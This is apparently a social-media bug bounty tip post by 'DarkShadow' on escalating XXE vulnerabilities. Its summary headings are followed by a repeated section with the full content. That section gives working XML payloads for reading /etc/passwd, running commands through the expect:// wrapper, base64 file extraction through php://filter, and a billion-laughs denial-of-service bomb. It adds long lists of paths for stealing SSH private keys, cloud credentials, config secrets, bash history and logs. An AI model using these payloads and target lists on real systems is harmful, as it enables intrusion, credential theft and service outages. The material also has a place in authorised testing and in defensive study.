🔥XXE to Remote Code Execution (RCE) – Real-World Attack Chain⚡
Hey Hunters,
DarkShadow here—dropping a quick tip for your next XXE hunt!
Escalate XXE vulnerability 😏
1. Basic XXE Payload (Test Injection)
2. RCE via expect:// PHP Wrapper (if enabled)
Result: Executes id command and returns output.
Condition: expect must be compiled with PHP (very rare, but deadly).
3. Local File Read using php://filter
Output: Base64-encoded content of /etc/passwd. Decode it locally. (Effective to bypass WAF filters and got any outputs correct format)
4. XML Bomb (DoS)
Effect: Crashes or DoS the XML parser due to entity expansion.
5. Read User Private Keys (SSH)
🛑Pro tip for more recon:
1. Steal AWS / Cloud Credentials via XXE
3. Bash History Abuse
5. Custom Internal Recon via /proc Files
Sometimes exposes secrets in memory or open database connections.
So guys what about my these methodology? If you guy's are really enjoyed, don't forget to show your love ❤️
Don't forget to follow me 👉🏼 DarkShadow
#bugbountytips #xxe
Hey Hunters,
DarkShadow here—dropping a quick tip for your next XXE hunt!
Escalate XXE vulnerability 😏
1. Basic XXE Payload (Test Injection)
<?xml version="1.0"?>If the response contains /etc/passwd, the app is XXE vulnerable.
<!DOCTYPE root [
<!ENTITY test SYSTEM "file:///etc/passwd">
]>
<root>&test;</root>
2. RCE via expect:// PHP Wrapper (if enabled)
<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY xxe SYSTEM "expect://id">
]>
<root>&xxe;</root>
Result: Executes id command and returns output.
Condition: expect must be compiled with PHP (very rare, but deadly).
3. Local File Read using php://filter
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
]>
<foo>&xxe;</foo>
Output: Base64-encoded content of /etc/passwd. Decode it locally. (Effective to bypass WAF filters and got any outputs correct format)
4. XML Bomb (DoS)
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ELEMENT lolz (#PCDATA)>
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
]>
<lolz>&lol2;</lolz>
Effect: Crashes or DoS the XML parser due to entity expansion.
5. Read User Private Keys (SSH)
Useful Paths to Check:
/home/*/.ssh/id_rsa
/root/.ssh/id_rsa
/etc/ssh/ssh_config
/var/backups/
/proc/self/environ (for creds or keys in memory)
🛑Pro tip for more recon:
1. Steal AWS / Cloud Credentials via XXE
Also check:2. Dump Configs for DB Creds or Secrets
/home/www-data/.aws/credentials
/proc/self/environ (might expose AWS keys, tokens)
Also check:
config.php
.env
db.php
settings.php
wp-config.php (WordPress)
phpmyadmin/config.inc.php (phpmyadmin)
administrator/.env (joomla)
config/services.yaml (Symfony Framework)
app/config.js, app/config.json (nodejs)
settings.py, config.py (Python / Django / Flask)
application.properties, application.yml, web.xml (Java / Spring Boot / JSP Apps)
database.yml (Ruby on Rails)
3. Bash History Abuse
Also check:4. Read Logs for Token Harvesting
.bash_history
Sometimes contains:
MySQL login
Admin tools
SSH commands
Clear-text passwords
Web Server Logs:
/var/log/apache2/access.log
/var/log/apache2/error.log
/var/log/httpd/access_log
/var/log/httpd/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/usr/local/apache/logs/access_log
/usr/local/apache/logs/error_log
PHP / App-Specific Logs:
/var/log/php_errors.log
/var/log/php8.1-fpm.log
/var/log/php7.4-fpm.log
/var/log/php5-fpm.log
/var/log/php-fpm/www-error.log
Laravel / Symfony / Framework Logs:
storage/logs/laravel.log
/var/www/html/storage/logs/laravel.log
/var/www/html/app/storage/logs/laravel.log
var/log/dev.log (Symfony)
app/logs/dev.log
Authentication / Session Logs
/var/log/auth.log
/var/log/secure
/var/log/faillog
/var/log/wtmp
/var/log/btmp
/var/log/lastlog
System Logs (May Contain Leaks or Stack Traces):
/var/log/syslog
/var/log/messages
/var/log/dmesg
/var/log/kern.log
Database Logs (If Exposed):
/var/log/mysql/error.log
/var/log/postgresql/postgresql.log
/var/log/mariadb/mariadb.log
5. Custom Internal Recon via /proc Files
Also check:
/proc/self/cmdline
/proc/self/fd/
Sometimes exposes secrets in memory or open database connections.
So guys what about my these methodology? If you guy's are really enjoyed, don't forget to show your love ❤️
Don't forget to follow me 👉🏼 DarkShadow
#bugbountytips #xxe
👍19❤15🔥7🤨1🤝1